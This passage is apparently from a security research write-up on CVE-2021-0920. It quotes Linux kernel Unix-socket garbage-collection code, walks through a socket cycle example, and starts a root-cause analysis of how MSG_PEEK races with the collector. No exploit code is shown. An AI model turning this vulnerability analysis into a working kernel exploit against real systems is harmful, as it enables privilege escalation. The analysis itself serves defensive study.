<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> * inflight counters for these as well, and remove the skbuffs</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> * which are creating the cycle(s).</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> */</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0">skb_queue_head_init</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">hitlist</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0">list_for_each_entry</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">u</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">&</span><span class="ykcrMYlEiJ-c0">gc_candidates</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> link</span><span class="ykcrMYlEiJ-c10">)</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> scan_children</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">u</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">sk</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> inc_inflight</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">&</span><span class="ykcrMYlEiJ-c0">hitlist</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23">/* not_cycle_list contains those sockets which do not make up a</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> * cycle. Restore these to the inflight list.</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> */</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c14">while</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">(!</span><span class="ykcrMYlEiJ-c0">list_empty</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">not_cycle_list</span><span class="ykcrMYlEiJ-c10">))</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">{</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> u </span><span class="ykcrMYlEiJ-c10">=</span><span class="ykcrMYlEiJ-c0"> list_entry</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">not_cycle_list</span><span class="ykcrMYlEiJ-c10">.</span><span class="ykcrMYlEiJ-c14">next</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> unix_sock</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> link</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> __clear_bit</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">UNIX_GC_CANDIDATE</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">&</span><span class="ykcrMYlEiJ-c0">u</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">gc_flags</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> list_move_tail</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">u</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">link</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">&</span><span class="ykcrMYlEiJ-c0">gc_inflight_list</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">}</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0">spin_unlock</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">unix_gc_lock</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23">/* Here we are. Hitlist is filled. Die. */</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">__skb_queue_purge</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(&</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">hitlist</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">);</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0">spin_lock</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">unix_gc_lock</span><span class="ykcrMYlEiJ-c10">);</span></p></td></tr></table>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c3">__skb_queue_purge</span><span> clears every </span><span class="ykcrMYlEiJ-c3">skb</span><span> from the receiver queue:</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p><a id="t.ef5f1527ea6a99948aacf9ba31c9a016e0a52e01"></a><a id="t.12"></a><table class="ykcrMYlEiJ-c33"><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c18" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23">/**</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> * __skb_queue_purge - empty a list</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> * @list: list to empty</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> *</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> * Delete all buffers on an &sk_buff list. Each buffer is removed from</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> * the list and one reference dropped. This function does not take the</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> * list lock and the caller must hold the relevant locks to use it.</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> */</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c14">void</span><span class="ykcrMYlEiJ-c0"> skb_queue_purge</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> sk_buff_head </span><span class="ykcrMYlEiJ-c10">*</span><span class="ykcrMYlEiJ-c0">list</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c14">static</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">inline</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">void</span><span class="ykcrMYlEiJ-c0"> __skb_queue_purge</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> sk_buff_head </span><span class="ykcrMYlEiJ-c10">*</span><span class="ykcrMYlEiJ-c0">list</span><span class="ykcrMYlEiJ-c10">)</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">{</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> sk_buff </span><span class="ykcrMYlEiJ-c10">*</span><span class="ykcrMYlEiJ-c0">skb</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">while</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">((</span><span class="ykcrMYlEiJ-c0">skb </span><span class="ykcrMYlEiJ-c10">=</span><span class="ykcrMYlEiJ-c0"> __skb_dequeue</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">list</span><span class="ykcrMYlEiJ-c10">))</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">!=</span><span class="ykcrMYlEiJ-c0"> NULL</span><span class="ykcrMYlEiJ-c10">)</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> kfree_skb</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">skb</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">}</span></p></td></tr></table>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c2">There are two ways to trigger the garbage collection process:</span></p><ol class="c27 lst-kix_58ja23nrczhl-0 start" start="1"><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c3">wait_for_unix_gc</span><span> is invoked at the beginning of the </span><span class="ykcrMYlEiJ-c3">sendmsg</span><span class="ykcrMYlEiJ-c2"> function if there are more than 16,000 inflight sockets</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span>When a </span><span>socket file</span><span> is released by the kernel (i.e., a file descriptor is closed), the kernel will directly invoke </span><span class="ykcrMYlEiJ-c3">unix_gc</span><span class="ykcrMYlEiJ-c2">.</span></li></ol>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Note that </span><span class="ykcrMYlEiJ-c3">unix_gc</span><span> is not preemptive. If garbage collection is already in process, the kernel will not perform another </span><span class="ykcrMYlEiJ-c3">unix_gc</span><span class="ykcrMYlEiJ-c2"> invocation.</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Now, let’s check this example (a breakable cycle) with a pair of sockets </span><span class="ykcrMYlEiJ-c8">f0</span><span class="ykcrMYlEiJ-c8 ykcrMYlEiJ-c40">0</span><span> and </span><span class="ykcrMYlEiJ-c8">f0</span><span class="ykcrMYlEiJ-c8 ykcrMYlEiJ-c40">1</span><span>,</span><span> and a single socket </span><span class="ykcrMYlEiJ-c15">𝛼</span><span>:</span></p><ol class="c27 lst-kix_51hgl6mwb3et-0 start" start="1"><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span>Socket </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span> sends socket </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c8 ykcrMYlEiJ-c40"> </span><span>to socket </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span>.</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span>Socket </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span> sends socket </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span> to socket </span><span class="ykcrMYlEiJ-c15">𝛼</span><span>.</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span>Close </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span>.</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span>Close </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span>.</span></li></ol>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c2">Before starting the garbage collection process, the status of socket file descriptors are:</span></p><ul style="padding: 0;" class="c27 lst-kix_yzib59bcdnhj-0 start"><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c2">: ref = 1, inflight = 1</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c2">: ref = 1, inflight = 1</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c15">𝛼</span><span class="ykcrMYlEiJ-c2">: ref = 1, inflight = 0</span></li></ul>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfD3EkqhRCP3nucxrm7-5h2T0Z0Q9e2xWhLX_CA07nU5IWXOAejwDvqPBd2CeJVLrM5bg502cpkm2noANVBV24QVmHRGA3IkHF_at3u6i2rYCHZH4wpvS5EfIC6ibJgtZb4LSO2IjdNbqw_PawxHzGAI9LtmhXRO5rv8SDTHa5mwncMXptSJmjnBZx/s834/image69.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfD3EkqhRCP3nucxrm7-5h2T0Z0Q9e2xWhLX_CA07nU5IWXOAejwDvqPBd2CeJVLrM5bg502cpkm2noANVBV24QVmHRGA3IkHF_at3u6i2rYCHZH4wpvS5EfIC6ibJgtZb4LSO2IjdNbqw_PawxHzGAI9LtmhXRO5rv8SDTHa5mwncMXptSJmjnBZx/s834/image69.png" border="0" alt="f00, f01 and alpha form a breakable cycle." style="max-height: 750px; max-width: 600px;"title="f00, f01 and alpha form a breakable cycle." /></a></span></p>
<p class="ykcrMYlEiJ-c31 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c32">Breakable cycle by </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c32">, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c32"> and </span><span class="ykcrMYlEiJ-c15">𝛼</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>During the garbage collection process, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span class="ykcrMYlEiJ-c8 ykcrMYlEiJ-c40"> </span><span>and </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span class="ykcrMYlEiJ-c8 ykcrMYlEiJ-c40"> </span><span>are considered garbage candidates. The inflight count of </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span> is dropped to zero, but the count of </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span> is still 1 because </span><span class="ykcrMYlEiJ-c15">𝛼</span><span> is not a candidate. Thus, the kernel will restore the inflight count from </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span>’s</span><span> receive queue. As a result, </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">0</span><span> and </span><span class="ykcrMYlEiJ-c8">f </span><span class="ykcrMYlEiJ-c15">0</span><span class="ykcrMYlEiJ-c11">1</span><span> are not treated as garbage anymore.</span></p><h1 class="ykcrMYlEiJ-c30 ykcrMYlEiJ-c20" id="h.rjtckjrq5zqp"><span class="ykcrMYlEiJ-c47 ykcrMYlEiJ-c39">CVE-2021-0920 </span><span class="ykcrMYlEiJ-c39 ykcrMYlEiJ-c47">Root Cause Analysis</span></h1>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>When</span><span> a user receives </span><span class="ykcrMYlEiJ-c3">SCM_RIGHTS</span><span> message from </span><span class="ykcrMYlEiJ-c3">recvmsg</span><span> without the </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span> flag, the kernel will wait until the garbage collection process finishes if it is in progress. However, if the </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span class="ykcrMYlEiJ-c2"> flag is on, the kernel will increment the reference count of the transmitted file structures without synchronizing with any ongoing garbage collection process. This may lead to inconsistency of the internal garbage collection state, making the garbage collector mark a non-garbage sock object as garbage to purge.</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p><h2 class="ykcrMYlEiJ-c20 ykcrMYlEiJ-c30" id="h.7lz5lcv6k4oi"><span>r</span><span class="ykcrMYlEiJ-c1">ecvmsg without MSG_PEEK flag</span></h2>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>The kernel function</span><span> </span><span class="ykcrMYlEiJ-c3">unix_stream_read_generic</span><span> (</span><span class="ykcrMYlEiJ-c9"><a class="ykcrMYlEiJ-c261" href="https://elixir.bootlin.com/linux/v4.14.277/source/net/unix/af_unix.c#L2290">af_unix.c#L2290</a></span><span>) parses the </span><span class="ykcrMYlEiJ-c3">SCM_RIGHTS</span><span> message and manages the file inflight count when the </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span> flag is </span><span class="ykcrMYlEiJ-c39">NOT</span><span> set. Then, the function </span><span class="ykcrMYlEiJ-c3">unix_stream_read_generic</span><span> calls </span><span class="ykcrMYlEiJ-c3">unix_detach_fds</span><span> to decrement the inflight count. Then, </span><span class="ykcrMYlEiJ-c3">unix_detach_fds</span><span> clears the list of passed file descriptors (</span><span class="ykcrMYlEiJ-c3">scm_fp_list</span><span>) from the </span><span class="ykcrMYlEiJ-c3">skb</span><span class="ykcrMYlEiJ-c2">:</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p><a id="t.0251da5f97c6a33bfc5ce0e11f69ded3f816103b"></a><a id="t.13"></a><table class="ykcrMYlEiJ-c33"><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c18" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c14">static</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">void</span><span class="ykcrMYlEiJ-c0"> unix_detach_fds</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> scm_cookie </span><span class="ykcrMYlEiJ-c10">*</span><span class="ykcrMYlEiJ-c0">scm</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> sk_buff </span><span class="ykcrMYlEiJ-c10">*</span><span class="ykcrMYlEiJ-c0">skb</span><span class="ykcrMYlEiJ-c10">)</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">{</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">int</span><span class="ykcrMYlEiJ-c0"> i</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> scm</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">fp </span><span class="ykcrMYlEiJ-c10">=</span><span class="ykcrMYlEiJ-c0"> UNIXCB</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">skb</span><span class="ykcrMYlEiJ-c10">).</span><span class="ykcrMYlEiJ-c0">fp</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">UNIXCB</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">skb</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">).</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">fp </span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">=</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> NULL</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">;</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">for</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">i </span><span class="ykcrMYlEiJ-c10">=</span><span class="ykcrMYlEiJ-c0"> scm</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">fp</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">count</span><span class="ykcrMYlEiJ-c10">-</span><span class="ykcrMYlEiJ-c35">1</span><span class="ykcrMYlEiJ-c10">;</span><span class="ykcrMYlEiJ-c0"> i </span><span class="ykcrMYlEiJ-c10">>=</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c35">0</span><span class="ykcrMYlEiJ-c10">;</span><span class="ykcrMYlEiJ-c0"> i</span><span class="ykcrMYlEiJ-c10">--)</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> unix_notinflight</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">scm</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">-></span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">fp</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">-></span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">user</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">,</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> scm</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">-></span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">fp</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">-></span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">fp</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">[</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">i</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">]);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">}</span></p></td></tr></table>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>The </span><span class="ykcrMYlEiJ-c3">unix_notinflight</span><span> from </span><span class="ykcrMYlEiJ-c3">unix_detach_fds</span><span> will reverse the effect of </span><span class="ykcrMYlEiJ-c3">unix_inflight</span><span class="ykcrMYlEiJ-c2"> by decrementing the inflight count:</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p><a id="t.d890a653a46688c713ffbe9f71996b050052c85f"></a><a id="t.14"></a><table class="ykcrMYlEiJ-c33"><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c18" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c14">void</span><span class="ykcrMYlEiJ-c0"> unix_notinflight</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> user_struct </span><span class="ykcrMYlEiJ-c10">*</span><span class="ykcrMYlEiJ-c0">user</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> file </span><span class="ykcrMYlEiJ-c10">*</span><span class="ykcrMYlEiJ-c0">fp</span><span class="ykcrMYlEiJ-c10">)</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">{</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> sock </span><span class="ykcrMYlEiJ-c10">*</span><span class="ykcrMYlEiJ-c0">s </span><span class="ykcrMYlEiJ-c10">=</span><span class="ykcrMYlEiJ-c0"> unix_get_socket</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">fp</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> spin_lock</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">unix_gc_lock</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">if</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">s</span><span class="ykcrMYlEiJ-c10">)</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">{</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> unix_sock </span><span class="ykcrMYlEiJ-c10">*</span><span class="ykcrMYlEiJ-c0">u </span><span class="ykcrMYlEiJ-c10">=</span><span class="ykcrMYlEiJ-c0"> unix_sk</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">s</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> BUG_ON</span><span class="ykcrMYlEiJ-c10">(!</span><span class="ykcrMYlEiJ-c0">atomic_long_read</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">u</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">inflight</span><span class="ykcrMYlEiJ-c10">));</span></p>
